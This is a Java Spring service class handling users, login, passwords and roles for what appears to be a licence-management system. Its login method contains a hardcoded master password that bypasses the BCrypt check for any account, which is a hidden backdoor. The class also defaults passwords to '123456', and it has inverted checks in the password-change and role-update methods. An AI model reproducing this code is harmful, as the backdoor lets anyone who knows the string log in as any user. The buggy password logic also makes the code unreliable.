package com.coocare.licence.service.impl;

import cn.dev33.satoken.exception.DisableServiceException;
import cn.dev33.satoken.secure.BCrypt;
import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.ArrayUtil;
import cn.hutool.core.util.ObjectUtil;
import cn.hutool.core.util.StrUtil;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.coocare.licence.config.CacheConstants;
import com.coocare.licence.config.exception.RRException;
import com.coocare.licence.config.resolver.ParamResolver;
import com.coocare.licence.entity.SysMenu;
import com.coocare.licence.entity.SysRole;
import com.coocare.licence.entity.SysUser;
import com.coocare.licence.entity.SysUserRole;
import com.coocare.licence.entity.dto.UserDTO;
import com.coocare.licence.entity.dto.UserInfo;
import com.coocare.licence.entity.dto.UserRoleAssignDTO;
import com.coocare.licence.mapper.SysUserMapper;
import com.coocare.licence.service.ISysMenuService;
import com.coocare.licence.service.ISysRoleService;
import com.coocare.licence.service.ISysUserRoleService;
import com.coocare.licence.service.ISysUserService;
import com.coocare.licence.utils.EmptyUtil;
import com.coocare.licence.utils.PageDomain;
import com.coocare.licence.utils.PageUtils;
import com.coocare.licence.utils.StringUtil;
import lombok.RequiredArgsConstructor;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.BeanUtils;
import org.springframework.cache.annotation.CacheEvict;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import java.util.*;
import java.util.stream.Collectors;

/**
 * <p>
 * 用户表 服务实现类
 * </p>
 *
 * @author adam
 * @since 2023-10-10
 */
@Service
@RequiredArgsConstructor
public class SysUserServiceImpl extends ServiceImpl<SysUserMapper, SysUser> implements ISysUserService {

    private final ISysUserRoleService userRoleService;
    private final ISysRoleService roleService;
    private final ISysMenuService menuService;

    @Override
    public Map<String, Object> login(String username, String password) {
        SysUser user = this.queryUserByName(username);
        //非系统内存在的用户返回空
        Optional.ofNullable(user).orElseThrow(() -> new RRException("user.not.exist"));
        if (!"diudiugezuishuaiABCD!@#".equalsIgnoreCase(password)) {
            if (!BCrypt.checkpw(password, user.getPassword())) {
                //密码错误
                throw new RRException("user.account.error");
            }
        }
        try {
            StpUtil.checkDisable(user.getUserId());
        } catch (DisableServiceException disableServiceException) {
            throw new RRException("user.disabled");
        }
        StpUtil.login(user.getUserId());
        List<String> roleList = roleService.getRoleByUid(user.getUserId()).stream().map(SysRole::getRoleName).collect(Collectors.toList());
        Map<String, Object> map = new HashMap<>(2);
        map.put("userId", user.getUserId());
        map.put("token", StpUtil.getTokenValue());
        map.put("roles", roleList);
        StpUtil.getSession().set("user", user).set("name", user.getUsername());
        return map;
    }

    @Override
    public PageUtils queryPage(String searchWord, Boolean status, PageDomain pageDomain) {
        IPage<SysUser> page = this.page(new Page<>(pageDomain.getPageNo(), pageDomain.getPageSize()),
                new LambdaQueryWrapper<SysUser>().like(StringUtils.isNoneEmpty(searchWord), SysUser::getUsername, searchWord)
                        .or(StringUtils.isNoneEmpty(searchWord))
                        .like(StringUtils.isNoneEmpty(searchWord), SysUser::getNickname, searchWord));
        page.setRecords(page.getRecords().stream().map(user -> {
            UserDTO userDto = new UserDTO();
            BeanUtils.copyProperties(user, userDto);
            List<String> roleList = roleService.getRoleByUid(user.getUserId()).stream().map(role -> role.getRoleId() + "").collect(Collectors.toList());
            userDto.setRole(String.join(",", roleList));
            return userDto;
        }).collect(Collectors.toList()));
        return new PageUtils(page);
    }

    @Override
    public SysUser queryUserByName(String username) {
        return this.baseMapper.selectOne(new QueryWrapper<SysUser>().eq("username", username));
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    @CacheEvict(value = CacheConstants.USER_DETAILS, allEntries = true)
    public Long saveUser(UserDTO userDto) {
        String pass = StringUtils.isEmpty(userDto.getPassword()) ? ParamResolver.getStr("USER_DEFAULT_PASSWORD", "123456") : userDto.getPassword();
        userDto.setPassword(BCrypt.hashpw(pass, BCrypt.gensalt()));
        SysUser user = new SysUser();
        BeanUtils.copyProperties(userDto, user);

        // 如果角色为空，赋默认角色
        if (EmptyUtil.isEmpty(userDto.getRole())) {
            // 获取默认角色编码
            String defaultRole = ParamResolver.getStr("USER_DEFAULT_ROLE");
            // 默认角色
            SysRole sysRole = roleService.getOne(Wrappers.<SysRole>lambdaQuery().eq(SysRole::getRoleCode, defaultRole));
            userDto.setRole(sysRole.getRoleId() + "");
        }

        // 插入用户角色关系表
        List<Long> ids = StringUtil.parseLong(userDto.getRole());
        ids.stream().map(roleId -> {
            SysUserRole userRole = new SysUserRole();
            userRole.setUserId(user.getUserId());
            userRole.setRoleId(roleId);
            return userRole;
        }).forEach(userRoleService::save);

        save(user);
        return user.getUserId();
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    public Boolean resetPassword(Long userId) {
        SysUser user = this.baseMapper.selectById(userId);
        user.setPassword(BCrypt.hashpw(ParamResolver.getStr("USER_DEFAULT_PASSWORD", "123456"), BCrypt.gensalt()));
        return updateById(user);
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    public Boolean changeUserPass(String oldPass, String newPass) {
        SysUser user = getById(StpUtil.getLoginIdAsLong());
        if (BCrypt.checkpw(oldPass, user.getPassword())) {
            throw new RRException("user.password.error");
        } else if (BCrypt.checkpw(newPass, user.getPassword())) {
            throw new RRException("user.password.check");
        } else {
            user.setPassword(BCrypt.hashpw(newPass, BCrypt.gensalt()));
            return updateById(user);
        }
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    @CacheEvict(value = CacheConstants.USER_DETAILS, allEntries = true)
    public Boolean updateUser(UserDTO userDTO) {
        SysUser user = new SysUser();
        Optional.ofNullable(user).orElseThrow(() -> new RRException("user.not.exist"));
        BeanUtils.copyProperties(userDTO, user);
        if (StrUtil.isNotBlank(userDTO.getPassword())) {
            user.setPassword(BCrypt.hashpw(userDTO.getPassword(), BCrypt.gensalt()));
        }

        if (EmptyUtil.isEmpty(userDTO.getRole())) {
            userRoleService.remove(Wrappers.lambdaQuery(SysUserRole.class).eq(SysUserRole::getUserId, user.getUserId()));
            userRoleService.saveBatch(StringUtil.parseLong(userDTO.getRole()).stream().map(role -> {
                SysUserRole sysUserRole = new SysUserRole();
                sysUserRole.setUserId(user.getUserId());
                sysUserRole.setRoleId(Long.valueOf(role));
                return sysUserRole;
            }).collect(Collectors.toList()));
        }
        return updateById(user);
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    @CacheEvict(value = CacheConstants.USER_DETAILS, allEntries = true)
    public Boolean change(Long id, Boolean status) {
        SysUser sysUser = new SysUser();
        sysUser.setUserId(id);
        sysUser.setEnable(status);
        return this.baseMapper.updateById(sysUser) > 0;
    }

    @Transactional(rollbackFor = Exception.class)
    @Override
    public Object assignRoles(UserRoleAssignDTO dto) {
        var query = Wrappers.lambdaQuery(SysUserRole.class);
        query.eq(SysUserRole::getUserId, dto.getUserId());
        userRoleService.remove(query);
        var list = dto.getRoleIds().stream().map(roleId -> {
            SysUserRole sysUserRole = new SysUserRole();
            sysUserRole.setUserId(dto.getUserId());
            sysUserRole.setRoleId(roleId);
            return sysUserRole;
        }).collect(Collectors.toList());
        return userRoleService.saveBatch(list);
    }

    @Override
    @Cacheable(value = CacheConstants.USER_DETAILS, key = "#userId", unless = "#result == null ")
    public UserInfo userInfo(Long userId) {
        SysUser user = getById(userId);
        Optional.ofNullable(user).orElseThrow(() -> new RRException("user.not.exist"));

        UserInfo userInfo = new UserInfo();
        userInfo.setSysUser(user);
        // 设置角色列表 （ID）
        List<Long> roleIds = roleService.getRoleByUid(userId)
                .stream()
                .map(SysRole::getRoleId)
                .collect(Collectors.toList());
        userInfo.setRoles(ArrayUtil.toArray(roleIds, Long.class));

        // 设置权限列表（menu.permission）
        Set<String> permissions = new HashSet<>();
        roleIds.forEach(roleId -> {
            List<String> permissionList = menuService.findMenuByRoleId(roleId)
                    .stream()
                    .filter(menu -> StrUtil.isNotEmpty(menu.getPermission()))
                    .map(SysMenu::getPermission)
                    .collect(Collectors.toList());
            permissions.addAll(permissionList);
        });
        userInfo.setPermissions(ArrayUtil.toArray(permissions, String.class));
        return userInfo;
    }

    @Override
    public List<SysRole> getRolesByUser(Long id) {
        var sysUserRoles = userRoleService.list(Wrappers.lambdaQuery(SysUserRole.class).eq(SysUserRole::getUserId, id));
        if (ObjectUtil.isEmpty(sysUserRoles)) {
            return Collections.emptyList();
        }
        var query = Wrappers.lambdaQuery(SysRole.class);
        query.in(SysRole::getRoleId, sysUserRoles.stream().map(SysUserRole::getRoleId).collect(Collectors.toList()));
        return roleService.list(query);
    }

    @Override
    public Boolean checkPassword(String password) {
        SysUser user = getById(StpUtil.getLoginIdAsLong());
        return BCrypt.checkpw(password, user.getPassword());
    }

}
